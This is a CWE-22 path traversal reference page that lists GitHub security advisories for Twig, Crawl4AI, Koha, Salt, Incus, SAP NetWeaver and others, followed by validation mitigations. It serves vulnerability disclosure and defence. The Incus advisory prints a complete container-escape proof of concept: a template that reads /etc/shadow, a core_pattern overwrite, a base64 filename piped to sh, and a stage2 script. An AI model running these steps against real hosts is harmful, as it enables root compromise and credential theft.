CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13217 vulnerabilities reference this CWE, most recent first.
GHSA-7CVR-XHM5-X998
Vulnerability from github – Published: 2024-05-30 13:42 – Updated: 2024-05-30 13:42Twig is affected by path traversal vulnerability when used with Twig_Loader_Filesystem for loading Twig templates but only if the application is using non-trusted template names (names provided by a end-user for instance).
When affected, it is possible to go up one directory for the paths configured in the application's loader.
For instance, if the filesystem loader is configured with /path/to/templates as a path to look for templates, an attacker can force Twig to include a file stored in /path/to by prepending the path with /../ like in {% include "/../somefile_in_path_to" %}
Note that using anything else (like ../somefile, /../../somefile, or ../../somefile) won’t work and the application will return a proper exception.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "twig/twig"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.12.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-30T13:42:49Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Twig is affected by path traversal vulnerability when used with Twig_Loader_Filesystem for loading Twig templates but only if the application is using non-trusted template names (names provided by a end-user for instance).\n\nWhen affected, it is possible to go up one directory for the paths configured in the application\u0027s loader.\n\nFor instance, if the filesystem loader is configured with /path/to/templates as a path to look for templates, an attacker can force Twig to include a file stored in /path/to by prepending the path with /../ like in {% include \"/../somefile_in_path_to\" %}\n\nNote that using anything else (like ../somefile, /../../somefile, or ../../somefile) won\u2019t work and the application will return a proper exception.\n",
"id": "GHSA-7cvr-xhm5-x998",
"modified": "2024-05-30T13:42:49Z",
"published": "2024-05-30T13:42:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fabpot/Twig/commit/3d19a2eed53570776af313593aaeb5ad62cf4980.diff"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/twig/twig/2013-04-08.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twigphp/Twig"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20130511111630/http://blog.twig.sensiolabs.org/post/47461911874/security-release-twig-1-12-3-released"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Twig Path Traversal vulnerability in the filesystem loader"
}
GHSA-7CX2-G3H9-382P
Vulnerability from github – Published: 2026-06-16 21:02 – Updated: 2026-07-21 15:02Summary
Three backward-compatible hardening fixes in the Docker API server. The headline issue is an arbitrary file write via the screenshot/PDF output_path.
1. Arbitrary file write via output_path symlink / TOCTOU (primary)
POST /screenshot and POST /pdf accept an output_path constrained to ALLOWED_OUTPUT_DIR by validate_output_path. The 0.8.7 check was string-only: it did not resolve symlinks, so a symlinked path component inside the output directory could redirect the write outside the directory, and the final open() followed symlinks. On a deployment where the runtime user can write executable/cron locations this is an arbitrary-write to code-execution primitive. The API is unauthenticated by default.
Fix: validate_output_path now resolves the real path (symlinks) of the parent and re-checks containment, and the write uses O_NOFOLLOW (write_output_file). output_path remains supported.
2. CRLF log injection (CWE-117)
User-controlled URLs/errors reflected into log lines could embed CR/LF and forge additional log entries. Fix: a logging filter strips CR/LF/control characters from all records.
3. Webhook request-header injection (CWE-93/CWE-113)
User-supplied webhook headers were sent verbatim, allowing CRLF and hop-by-hop / sensitive header injection on the outbound webhook request. Fix: webhook headers are validated (name pattern, no control characters, deny Host/Content-Length/Transfer-Encoding/Authorization/Cookie/...), with early request-time rejection.
Impact
Arbitrary file write (potential code execution) for #1; log forging for #2; request smuggling / header injection on outbound webhooks for #3.
Workarounds
- Upgrade to the patched version.
- Enable authentication (
CRAWL4AI_API_TOKEN). - Run the container with a read-only root filesystem.
Credits
Internal security audit (Crawl4AI maintainers).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.7"
},
"package": {
"ecosystem": "PyPI",
"name": "crawl4ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-117",
"CWE-22",
"CWE-59",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T21:02:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThree backward-compatible hardening fixes in the Docker API server. The headline issue is an arbitrary file write via the screenshot/PDF `output_path`.\n\n### 1. Arbitrary file write via output_path symlink / TOCTOU (primary)\n\n`POST /screenshot` and `POST /pdf` accept an `output_path` constrained to `ALLOWED_OUTPUT_DIR` by `validate_output_path`. The 0.8.7 check was string-only: it did not resolve symlinks, so a symlinked path component inside the output directory could redirect the write outside the directory, and the final `open()` followed symlinks. On a deployment where the runtime user can write executable/cron locations this is an arbitrary-write to code-execution primitive. The API is unauthenticated by default.\n\nFix: `validate_output_path` now resolves the real path (symlinks) of the parent and re-checks containment, and the write uses `O_NOFOLLOW` (`write_output_file`). `output_path` remains supported.\n\n### 2. CRLF log injection (CWE-117)\n\nUser-controlled URLs/errors reflected into log lines could embed CR/LF and forge additional log entries. Fix: a logging filter strips CR/LF/control characters from all records.\n\n### 3. Webhook request-header injection (CWE-93/CWE-113)\n\nUser-supplied webhook headers were sent verbatim, allowing CRLF and hop-by-hop / sensitive header injection on the outbound webhook request. Fix: webhook headers are validated (name pattern, no control characters, deny `Host`/`Content-Length`/`Transfer-Encoding`/`Authorization`/`Cookie`/...), with early request-time rejection.\n\n### Impact\n\nArbitrary file write (potential code execution) for #1; log forging for #2; request smuggling / header injection on outbound webhooks for #3.\n\n### Workarounds\n\n- Upgrade to the patched version.\n- Enable authentication (`CRAWL4AI_API_TOKEN`).\n- Run the container with a read-only root filesystem.\n\n### Credits\n\nInternal security audit (Crawl4AI maintainers).",
"id": "GHSA-7cx2-g3h9-382p",
"modified": "2026-07-21T15:02:21Z",
"published": "2026-06-16T21:02:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-7cx2-g3h9-382p"
},
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/issues/2"
},
{
"type": "WEB",
"url": "https://github.com/unclecode/crawl4ai/pull/3"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-228.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/unclecode/crawl4ai"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/crawl4ai-arbitrary-file-write-via-output-path-symlink-and-toctou"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Crawl4AI: Arbitrary file write (symlink/TOCTOU) plus log and webhook-header injection in Docker server"
}
GHSA-7F22-J94Q-HWMH
Vulnerability from github – Published: 2022-05-14 01:44 – Updated: 2022-05-14 01:44Multiple directory traversal vulnerabilities in Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.
{
"affected": [],
"aliases": [
"CVE-2015-4632"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-18T21:29:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search.",
"id": "GHSA-7f22-j94q-hwmh",
"modified": "2022-05-14T01:44:13Z",
"published": "2022-05-14T01:44:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4632"
},
{
"type": "WEB",
"url": "https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408"
},
{
"type": "WEB",
"url": "https://koha-community.org/koha-3-14-16-released"
},
{
"type": "WEB",
"url": "https://koha-community.org/security-release-koha-3-16-12"
},
{
"type": "WEB",
"url": "https://koha-community.org/security-release-koha-3-18-8"
},
{
"type": "WEB",
"url": "https://koha-community.org/security-release-koha-3-20-1"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/132458/Koha-ILS-3.20.x-CSRF-XSS-Traversal-SQL-Injection.html"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2015/Jun/80"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/37388"
},
{
"type": "WEB",
"url": "https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F2P-XWCX-975M
Vulnerability from github – Published: 2024-02-26 18:30 – Updated: 2024-08-01 15:31In Indo-Sol PROFINET-INspektor NT through 2.4.0, a path traversal vulnerability in the httpuploadd service of the firmware allows remote attackers to write to arbitrary files via a crafted filename parameter in requests to the /upload endpoint.
{
"affected": [],
"aliases": [
"CVE-2023-49960"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-26T16:27:47Z",
"severity": "HIGH"
},
"details": "In Indo-Sol PROFINET-INspektor NT through 2.4.0, a path traversal vulnerability in the httpuploadd service of the firmware allows remote attackers to write to arbitrary files via a crafted filename parameter in requests to the /upload endpoint.",
"id": "GHSA-7f2p-xwcx-975m",
"modified": "2024-08-01T15:31:28Z",
"published": "2024-02-26T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49960"
},
{
"type": "WEB",
"url": "https://code-white.com/public-vulnerability-list"
},
{
"type": "WEB",
"url": "https://www.indu-sol.com/en/products/profinet/diagnostics/profinet-inspektorr-nt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F3F-X5F5-79GW
Vulnerability from github – Published: 2025-06-13 09:30 – Updated: 2025-06-17 20:00File contents overwrite the VirtKey class is called when “on-demand pillar” data is requested and uses un-validated input to create paths to the “pki directory”. The functionality is used to auto-accept Minion authentication keys based on a pre-placed “authorization file” at a specific location and is present in the default configuration.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "salt"
},
"ranges": [
{
"events": [
{
"introduced": "3007.0rc1"
},
{
"fixed": "3007.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "salt"
},
"ranges": [
{
"events": [
{
"introduced": "3006.0rc1"
},
{
"fixed": "3006.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-22241"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-13T21:57:13Z",
"nvd_published_at": "2025-06-13T07:15:21Z",
"severity": "MODERATE"
},
"details": "File contents overwrite the VirtKey class is called when \u201con-demand pillar\u201d data is requested and uses un-validated input to create paths to the \u201cpki directory\u201d. The functionality is used to auto-accept Minion authentication keys based on a pre-placed \u201cauthorization file\u201d at a specific location and is present in the default configuration.",
"id": "GHSA-7f3f-x5f5-79gw",
"modified": "2025-06-17T20:00:42Z",
"published": "2025-06-13T09:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22241"
},
{
"type": "WEB",
"url": "https://github.com/saltstack/salt/commit/9445f496fed61b15dc4364818007e5b765b0746f"
},
{
"type": "WEB",
"url": "https://docs.saltproject.io/en/3006/topics/releases/3006.12.html"
},
{
"type": "WEB",
"url": "https://docs.saltproject.io/en/3007/topics/releases/3007.4.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltstack/salt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Salt\u0027s file contents overwrite the VirtKey class"
}
GHSA-7F48-GJXV-CPPW
Vulnerability from github – Published: 2022-05-17 02:07 – Updated: 2022-05-17 02:07Directory traversal vulnerability in the JE Quotation Form (com_jequoteform) component 1.0b1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the view parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-2128"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-06-01T21:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the JE Quotation Form (com_jequoteform) component 1.0b1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the view parameter to index.php.",
"id": "GHSA-7f48-gjxv-cppw",
"modified": "2022-05-17T02:07:34Z",
"published": "2022-05-17T02:07:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2128"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/58593"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39832"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12607"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/64706"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/40187"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7F5W-C832-QFFQ
Vulnerability from github – Published: 2022-05-17 03:19 – Updated: 2025-04-12 12:51Directory traversal vulnerability in the GD bbPress Attachments plugin before 2.3 for WordPress allows remote administrators to include and execute arbitrary local files via a .. (dot dot) in the tab parameter in the gdbbpress_attachments page to wp-admin/edit.php.
{
"affected": [],
"aliases": [
"CVE-2015-5482"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-08-18T17:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the GD bbPress Attachments plugin before 2.3 for WordPress allows remote administrators to include and execute arbitrary local files via a .. (dot dot) in the tab parameter in the gdbbpress_attachments page to wp-admin/edit.php.",
"id": "GHSA-7f5w-c832-qffq",
"modified": "2025-04-12T12:51:04Z",
"published": "2022-05-17T03:19:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5482"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/132656/wpgdbbpress-lfi.txt"
},
{
"type": "WEB",
"url": "https://security.dxw.com/advisories/local-file-include-vulnerability-in-gd-bbpress-attachments-allows-attackers-to-include-arbitrary-php-files"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/gd-bbpress-attachments/changelog"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8087"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7F67-CRQM-JGH7
Vulnerability from github – Published: 2026-01-22 20:26 – Updated: 2026-03-27 22:14Summary
A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.
Details
When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:
templates:
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tpl
Where the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.
This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/core_pattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.
This vulnerability can be exploited by any user who can launch a new container with a custom image.
Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).
[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294
PoC
A proof of concept script for the following can be found attached, named template_arbitrary_write.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/template_arbitrary_write_cmd_exec_poc).
Manual Reproduction steps:
- Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs
- Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e
ln -s / rootfs/realroot) - Create a directory named “templates” alongside the rootfs directory. Include a file
core_pattern.tplcontaining|/bin/sh -c "%E" - Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (
chmod +x rootfs/stage2 - Create a
metadata.yamlfor this image. Sample listed below - Create the image archive (
tar cf poc.tar *) and import into incus (incus image import poc.tar --alias poc) - Launch the newly imported image and obtain a shell (
incus launch poc poc --ephemeral; incus shell poc) - Observe that the file
/shadowinside the container contains the contents of the/etc/shadowfile from the host (host file read vulnerability) - Compile
segfault.cinto a file namedx$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the%Evalue set in thecore_patternby the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. - Execute the compiled binary (e.g
/x*). Observe the creation of the file/template_arbitrary_write_cmd_exec_pocon the host, containing the output of 'id' showing command execution by the host root user.
segfault.c:
int main() {
int *p = 0;
*p = 42;
return 0;
}
stage2:
#!/bin/sh
id > /template_arbitrary_write_cmd_exec_poc
metadata.yaml:
architecture: x86_64
creation_date: 1
properties:
architecture: amd64
description: Exploit
os: Exploit
release: Exploit 1.0
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tpl
Impact
A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.
Attachments
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 6.21.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23954"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T20:26:10Z",
"nvd_published_at": "2026-01-22T22:16:20Z",
"severity": "HIGH"
},
"details": "### Summary\nA user with the ability to launch a container with a custom image (e.g a member of the \u2018incus\u2019 group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.\n\n### Details\nWhen using an image with a `metadata.yaml` containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following `metadata.yaml` snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:\n\n```\ntemplates:\n /shadow:\n when:\n - start\n template: ../../../../../../../../etc/shadow\n```\n\nAdditionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:\n\n```\ntemplates:\n /realroot/proc/sys/kernel/core_pattern:\n when:\n - start\n template: core_pattern.tpl\n```\n\nWhere the container root filesystem contains a symbolic link named `/realroot` pointing to `/`. This will cause the contents of the template (from the normal \"templates\" directory in this case) to be written to the host root filesystem as root.\n\nThis can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting `/proc/sys/kernel/core_pattern`, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.\n\nThis vulnerability can be exploited by any user who can launch a new container with a custom image.\n\nExploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with `/tmp` mounted from the host (A privileged action for validation only).\n\n\n[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215\n[2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294\n\n### PoC\nA proof of concept script for the following can be found attached, named `template_arbitrary_write.sh`, which will show reading of a file from the host filesystem (`/etc/shadow`), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (`/template_arbitrary_write_cmd_exec_poc`).\n\nManual Reproduction steps:\n\n1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs\n2. Inside the unpacked root filesystem, create a symbolic link named \u2018realroot\u2019 (i.e `ln -s / rootfs/realroot`)\n3. Create a directory named \u201ctemplates\u201d alongside the rootfs directory. Include a file `core_pattern.tpl` containing `|/bin/sh -c \"%E\"`\n4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (`chmod +x rootfs/stage2`\n5. Create a `metadata.yaml` for this image. Sample listed below\n6. Create the image archive (`tar cf poc.tar *`) and import into incus (`incus image import poc.tar --alias poc`)\n7. Launch the newly imported image and obtain a shell (`incus launch poc poc --ephemeral; incus shell poc`)\n8. Observe that the file `/shadow` inside the container contains the contents of the `/etc/shadow` file from the host (host file read vulnerability)\n9. Compile `segfault.c` into a file named `x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh)`. This filename will be interpolated into the `%E` value set in the `core_pattern` by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs.\n10. Execute the compiled binary (e.g `/x*`). Observe the creation of the file `/template_arbitrary_write_cmd_exec_poc` on the host, containing the output of \u0027id\u0027 showing command execution by the host root user.\n\nsegfault.c:\n```\nint main() {\n int *p = 0;\n *p = 42;\n return 0;\n}\n```\n\nstage2:\n```\n#!/bin/sh\nid \u003e /template_arbitrary_write_cmd_exec_poc\n```\n\nmetadata.yaml:\n```\narchitecture: x86_64\ncreation_date: 1\nproperties:\n architecture: amd64\n description: Exploit\n os: Exploit\n release: Exploit 1.0\ntemplates:\n /shadow:\n when:\n - start\n template: ../../../../../../../../etc/shadow\n\n /realroot/proc/sys/kernel/core_pattern:\n when:\n - start\n template: core_pattern.tpl\n```\n\n### Impact\nA user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.\n\n### Attachments\n[template_arbitrary_write.sh](https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh)\n[templates_arbitrary_write.patch](https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch)",
"id": "GHSA-7f67-crqm-jgh7",
"modified": "2026-03-27T22:14:24Z",
"published": "2026-01-22T20:26:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-7f67-crqm-jgh7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23954"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/24473599/template_arbitrary_write.sh"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/24473601/templates_arbitrary_write.patch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incus container image templating arbitrary host file read and write"
}
GHSA-7F7J-CQF9-C9H2
Vulnerability from github – Published: 2023-03-14 06:30 – Updated: 2023-03-18 06:30SAP NetWeaver AS for ABAP and ABAP Platform - versions 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 791, allows an attacker to exploit insufficient validation of path information provided by users, thus exploiting a directory traversal flaw in an available service to delete system files. In this attack, no data can be read but potentially critical OS files can be deleted making the system unavailable, causing significant impact on both availability and integrity
{
"affected": [],
"aliases": [
"CVE-2023-27501"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-14T06:15:00Z",
"severity": "CRITICAL"
},
"details": "SAP NetWeaver AS for ABAP and ABAP Platform - versions 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 791, allows an attacker to exploit insufficient validation of path information provided by users, thus exploiting a directory traversal flaw in an available service to delete system files. In this attack, no data can be read but potentially critical OS files can be deleted making the system unavailable, causing significant impact on both availability and integrity",
"id": "GHSA-7f7j-cqf9-c9h2",
"modified": "2023-03-18T06:30:15Z",
"published": "2023-03-14T06:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27501"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3294954"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7F7Q-JM58-6F8F
Vulnerability from github – Published: 2024-10-15 09:30 – Updated: 2024-10-15 09:30Enterprise Cloud Database from Ragic does not properly validate a specific page parameter, allowing unauthenticated remote attackers to exploit this vulnerability to read arbitrary system files.
{
"affected": [],
"aliases": [
"CVE-2024-9983"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-15T09:15:04Z",
"severity": "HIGH"
},
"details": "Enterprise Cloud Database from Ragic does not properly validate a specific page parameter, allowing unauthenticated remote attackers to exploit this vulnerability to read arbitrary system files.",
"id": "GHSA-7f7q-jm58-6f8f",
"modified": "2024-10-15T09:30:32Z",
"published": "2024-10-15T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9983"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-8149-31424-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-8148-ed790-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
